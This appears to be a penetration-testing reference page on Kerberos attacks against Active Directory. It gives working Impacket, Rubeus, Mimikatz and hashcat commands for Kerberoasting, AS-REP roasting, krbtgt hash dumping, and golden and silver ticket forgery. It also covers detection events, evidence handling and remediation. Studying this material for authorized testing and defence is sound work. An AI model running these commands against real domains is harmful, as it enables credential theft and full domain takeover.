Kerberos Attacks
Exploit Kerberos authentication weaknesses to obtain service account credentials, forge tickets, and escalate privileges.
Danger
krbtgt hash and leaves the directory in a state the client can only fix by rotating that key twice;
forging one is a production change, not a read. Confirm the Rules of Engagement cover ticket forgery and delegation
changes, capture the pre-change attribute values before you touch a delegation object, and hand the client a list of
every ticket and certificate you created.
Tool Installation
GetUserSPNs
Part of Impacket suite
pip install impacket
Kerberoasting
Request TGS tickets for service accounts and crack them offline. Any domain user can request tickets for SPNs.
Why It Works:
- TGS tickets are encrypted with the service account's NTLM hash
- Any authenticated user can request a TGS for any SPN
- The ticket can be cracked offline without triggering lockouts
- Service accounts often have weak passwords and high privileges
High-Value Targets:
MSSQL- Database service accountsExchange- Often have Domain Admin privsIIS- Web service accountsCustom SPNs- Admin-created service accounts
GetUserSPNs (Impacket)
# List all SPNs (enumerate first)
GetUserSPNs.py corp.local/user:password -dc-ip DC_IP
# Request TGS tickets and save to file
GetUserSPNs.py corp.local/user:password -dc-ip DC_IP -request -outputfile kerberoast.txt
# Target specific high-value user
GetUserSPNs.py corp.local/user:password -dc-ip DC_IP -request-user sqlservice
# Use with hash (PtH)
GetUserSPNs.py corp.local/user -hashes :NTLM_HASH -dc-ip DC_IP -request
# Output is hashcat format (mode 13100) - there is no -format flag
GetUserSPNs.py corp.local/user:password -dc-ip DC_IP -request -outputfile hashes.txt
# John reads the same file directly, no conversion step
john --format=krb5tgs hashes.txt --wordlist=/usr/share/wordlists/rockyou.txtRubeus (Windows)
Rubeus is the go-to Windows tool for Kerberos attacks. Download pre-compiled from GitHub releases.
# Kerberoast all SPNs
Rubeus.exe kerberoast /outfile:hashes.txt
# Kerberoast with /tgtdeleg - requests an RC4 ticket instead of AES.
# Only works if the account still has an RC4 key AND the DC still issues
# RC4 TGTs (Server 2025 DCs do not)
Rubeus.exe kerberoast /tgtdeleg /outfile:hashes.txt
# Target specific user
Rubeus.exe kerberoast /user:sqlservice /outfile:hashes.txt
# Kerberoast with alternate credentials
Rubeus.exe kerberoast /creduser:CORP\user /credpassword:pass
# Filter by encryption type
Rubeus.exe kerberoast /rc4opsec /outfile:hashes.txt # Only RC4
Rubeus.exe kerberoast /aes /outfile:hashes.txt # Include AESWarning
msDS-SupportedEncryptionTypes gets
AES-SHA1. Starting with Windows Server 2025, domain controllers do not issue RC4 TGTs at all, and Microsoft
plans to stop assuming RC4 support by the end of Q2 2026. So /tgtdeleg only pays off when
the target account still has an RC4 key (the 0x4 bit set in msDS-SupportedEncryptionTypes) and
the DC is Windows Server 2022 or older. Otherwise you are cracking AES256 with -m 19700.
Crack TGS Hashes
| Hash Type | Hashcat Mode | Speed |
|---|---|---|
| TGS-REP RC4 | 13100 | ~500 MH/s (RTX 3090) |
| TGS-REP AES128 | 19600 | ~10 MH/s |
| TGS-REP AES256 | 19700 | ~5 MH/s |
# Hashcat - Kerberos 5 TGS-REP (RC4) - Fastest
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt
# Hashcat - Kerberos 5 TGS-REP (AES256) - Slower
hashcat -m 19700 kerberoast.txt /usr/share/wordlists/rockyou.txt
# With rules for better coverage
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
# John the Ripper
john --format=krb5tgs kerberoast.txt --wordlist=/usr/share/wordlists/rockyou.txtAS-REP Roasting
Target accounts with "Do not require Kerberos preauthentication" enabled. No authentication needed.
Finding AS-REP Roastable Accounts:
- User must have
DONT_REQ_PREAUTHflag set - Often set for legacy applications or misconfigurations
- Can be queried with LDAP:
userAccountControl:1.2.840.113556.1.4.803:=4194304
GetNPUsers (Impacket)
# Unauthenticated - requires username list
GetNPUsers.py corp.local/ -dc-ip DC_IP -usersfile users.txt -no-pass
# Authenticated - finds AS-REP accounts automatically
GetNPUsers.py corp.local/user:password -dc-ip DC_IP -request
# Output to file for cracking
GetNPUsers.py corp.local/ -dc-ip DC_IP -usersfile users.txt -no-pass -outputfile asrep.txt
# With hash (Pass-the-Hash)
GetNPUsers.py corp.local/user -hashes :NTLM_HASH -dc-ip DC_IP -request
# Enumerate all users first, then check
kerbrute userenum --dc DC_IP -d corp.local users.txt # Find valid users
GetNPUsers.py corp.local/ -dc-ip DC_IP -usersfile valid_users.txt -no-passRubeus AS-REP Roast
# Find and roast AS-REP accounts
Rubeus.exe asreproast /outfile:asrep.txt
# Target specific user
Rubeus.exe asreproast /user:svc_backup /outfile:asrep.txtCrack AS-REP Hashes
# Hashcat - Kerberos 5 AS-REP (mode 18200)
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
# With rules
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
# John the Ripper
john --format=krb5asrep asrep.txt --wordlist=/usr/share/wordlists/rockyou.txtWarning
Golden Ticket
Forge TGT using the krbtgt hash. Provides unlimited access to all services in the domain.
Requirements:
krbtgt NTLM hash- From DCSync or NTDS.dit extractionDomain SID- e.g., S-1-5-21-3623811015-3361044348-30300820Domain name- FQDN (corp.local)
Tip
Create Golden Ticket (Impacket)
# Step 1: Get domain SID
lookupsid.py corp.local/admin:password@dc.corp.local
# Or with PowerShell: (Get-ADDomain).DomainSID
# Step 2: Get krbtgt hash (requires Domain Admin or DCSync)
secretsdump.py corp.local/admin:password@dc.corp.local -just-dc-user krbtgt
# Step 3: Create golden ticket
ticketer.py -nthash <KRBTGT_HASH> -domain-sid S-1-5-21-... -domain corp.local Administrator
# Step 4: Use the ticket
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass corp.local/Administrator@target.corp.local
secretsdump.py -k -no-pass dc.corp.local # DCSync with golden ticketGolden Ticket with Mimikatz
# Create and inject golden ticket directly
mimikatz# kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-... /krbtgt:HASH /ptt
# Create ticket with specific groups (add to Domain Admins, etc.)
mimikatz# kerberos::golden /user:FakeAdmin /domain:corp.local /sid:S-1-5-21-... /krbtgt:HASH /groups:512,513,518,519,520 /ptt
# Save ticket to file instead of injecting
mimikatz# kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-... /krbtgt:HASH /ticket:golden.kirbi
# Verify ticket loaded
mimikatz# kerberos::list
klist # Windows command
# Access any resource in the domain
dir \\dc.corp.local\c$
dir \\fileserver.corp.local\c$Silver Ticket
Forge TGS for specific service using the service account hash. More targeted than Golden Ticket.
Silver vs Golden:
- Golden: Access everything, requires krbtgt hash
- Silver: Access specific service, requires service account hash
- Silver tickets don't touch DC - harder to detect
- Use machine account hash ($) for services running as SYSTEM
| Service | SPN | Use Case |
|---|---|---|
| File Shares | cifs/host | Access C$, ADMIN$, file shares |
| WinRM | http/host, wsman/host | PowerShell remoting |
| SQL Server | mssql/host | Database access |
| LDAP | ldap/host | DCSync (on DC) |
# Create silver ticket for CIFS (file shares)
# Use machine account hash (TARGET$) from secretsdump
ticketer.py -nthash <MACHINE_HASH> -domain-sid S-1-5-21-... -domain corp.local -spn cifs/target.corp.local Administrator
# Silver ticket with Mimikatz
mimikatz# kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-... /target:target.corp.local /service:cifs /rc4:HASH /ptt
# Use the ticket
export KRB5CCNAME=Administrator.ccache
smbclient.py -k -no-pass corp.local/Administrator@target.corp.local
# Silver ticket for WinRM
ticketer.py -nthash <HASH> -domain-sid S-1-5-21-... -domain corp.local -spn http/target.corp.local Administrator
# Ticket auth: -K takes the .ccache (or .kirbi), -r only sets the realm
evil-winrm -i target.corp.local -r CORP.LOCAL -K Administrator.ccacheDelegation Attacks
Kerberos delegation allows services to impersonate users to access other services. Misconfigured delegation is a common privilege escalation path.
Delegation Types:
Unconstrained- Can impersonate ANY user to ANY service (TrustedForDelegation)Constrained- Can impersonate users to SPECIFIC services (msDS-AllowedToDelegateTo)RBCD- Resource controls who can delegate TO it (msDS-AllowedToActOnBehalfOfOtherIdentity)
The commands for all three are on
Delegation Attacks (05k),
because that page also carries what decides whether a delegation finding is real: who may write
msDS-AllowedToActOnBehalfOfOtherIdentity, the S4U2Self/S4U2Proxy deep dive, the four RBCD chains
(including RBCD via coercion with no credentials), and the detection table. One fact worth carrying here: the service
name in a delegated ticket is not validated by the target, so a delegation right over cifs/host can be
rewritten to ldap/host for DCSync.
Tip
External Resources
The Hacker Recipes - Kerberos
Comprehensive Kerberos attack reference
Rubeus - GitHub
Windows Kerberos toolkit with examples
HackTricks - Kerberoast
Detailed Kerberoasting walkthrough
AD Security - Kerberoasting
Sean Metcalf's original Kerberoasting research
ired.team - Kerberos Abuse
Red Team notes on Kerberos attacks
SpecterOps - Delegation
Deep dive into delegation attacks
Practice Labs
Practice Kerberos attacks in safe environments
Detection & Blue Team
Kerberos attack detection rests on two facts an attacker cannot easily avoid: a service ticket request has to name
the SPN, and a forged ticket has no matching 4768 behind it. Read the table with the encryption boundary
from the RC4 callout in mind — since the 2022 updates most requests are AES, so alerting only on 0x17
misses the default case on a modern domain.
| Attack | Event IDs | Detection Approach |
|---|---|---|
| Kerberoasting | 4769 (0x17 enc) | Burst of TGS requests with RC4 encryption from single source. Set service accounts to AES-only. Use gMSA where possible. |
| AS-REP Roasting | 4768 (0x17 enc, no preauth) | TGT requests without pre-authentication. Audit accounts with DONT_REQUIRE_PREAUTH flag enabled. |
| Golden Ticket | 4768, 4769 | TGT without prior AS-REQ, anomalous ticket lifetimes (>10h), TGT for non-existent user. Reset krbtgt password twice. |
| Silver Ticket | 4624 (no 4768) | Service access without corresponding TGT request. Monitor for PAC validation failures. Enable PAC validation on services. |
| Unconstrained Delegation | 4768, 4769, 4770 | TGT delegation to non-DC computers. Audit TrustedForDelegation flag. Use Protected Users group for sensitive accounts. |
Evidence Collection
Request and ticket: The 4769 or 4768 event ID alongside the ticket or hash you obtained, and the encryption type it was issued with. "Kerberoastable" is a property of the account; the ticket is the proof you exercised it.
Crack result and privilege:
The hashcat -m mode used, the runtime, and — if it cracked — what the account actually reaches. A cracked service account with no path to a host is a different finding from one that is a local admin on twelve servers.
Forged-ticket metadata:
For a golden or silver ticket: the account forged, the group RIDs or SID history written into the PAC, the SPN, and the services the ticket was accepted by. Record the acceptance, not just the .kirbi.
Delegation configuration:
The directory object and attribute that made the impersonation possible (TRUSTED_FOR_DELEGATION, msDS-AllowedToDelegateTo, msDS-AllowedToActOnBehalfOfOtherIdentity) with values as found.
CVSS range: Kerberoastable service account with a weak password: 6.5–8.1 | Golden ticket (krbtgt hash held): 9.8 | Unconstrained delegation plus coercion: 9.8
False Positive Identification
- An AS-REP response is not a crack: Roasting returns material encrypted with the account key. Until it cracks, the finding is "pre-authentication disabled" or "SPN present", not "credential compromised".
-
A golden ticket that is not accepted:
If the krbtgt hash is stale (rotated twice since capture) the forged TGT is rejected. Verify by authenticating to a service — a generated
.kirbiproves nothing on its own. - Silver ticket accepted locally only: A service can accept a forged TGS because it trusts the PAC without validation. Confirm which host accepted it before writing "domain compromise"; a silver ticket is host-scoped by design.
- Kerberoastable ≠ weak password: Machine accounts and gMSA-style 120-character passwords are roastable and uncrackable. Report the count of roastable SPNs as a hardening item, separately from the ones that cracked.
Testing Checklist
Every technique on this page has two outcomes: the ticket you obtained and the ticket that was actually accepted. Record them separately.
Obtain the ticket
- ☐
GetUserSPNs.py -requestorRubeus kerberoastreturns a TGS, and its etype (0x17RC4 vs0x12AES) decides whether a crack is worth starting. - ☐
GetNPUsers.pyorRubeus asreproastreturns an AS-REP hash only for accounts with pre-authentication disabled - check the account, not the script exit code. - ☐
hashcat -m 13100and-m 18200runs have their mode, wordlist, rules and runtime recorded; an uncracked hash is an exposure finding. - ☐ Delegation enumeration on this page returns the attribute value per object, with the target SPN named rather than counted.
Prove the ticket works
- ☐ A golden ticket is accepted by a service (
psexec.py -korRubeus pttplus a directory read); a stalekrbtgtrejection is reported as a rejected forgery. - ☐ A silver ticket is accepted by the host and SPN it was forged for, and the claim is not widened to the domain.
- ☐
/tgtdelegis used only where an RC4-capable account exists; an AES-only estate is described as AES-only rather than promised an RC4-speed crack. - ☐ The forged PAC's groups and SID history are written into the notes, so the privilege the ticket carried is provable.
Remediation
Make the tickets worthless
- • Move service accounts to gMSA (or a 25+ character managed password) so a captured TGS cannot be cracked at a useful rate.
- • Remove unnecessary SPNs from user accounts and audit the remaining ones quarterly; the roastable set is an inventory problem before it is a password problem.
- • Clear
DONT_REQ_PREAUTHwherever it is not required by a documented legacy application.
Limit what a forged ticket buys
- • Rotate the
krbtgtpassword twice after any suspected compromise — once is not enough, because the previous key stays valid for the replication window. - • Add privileged accounts to Protected Users so delegation and RC4 are refused for them.
- • Enable PAC validation where the service supports it, and alert on
4769requests for SPNs the requesting account never uses, plus4768with anomalous ticket lifetimes.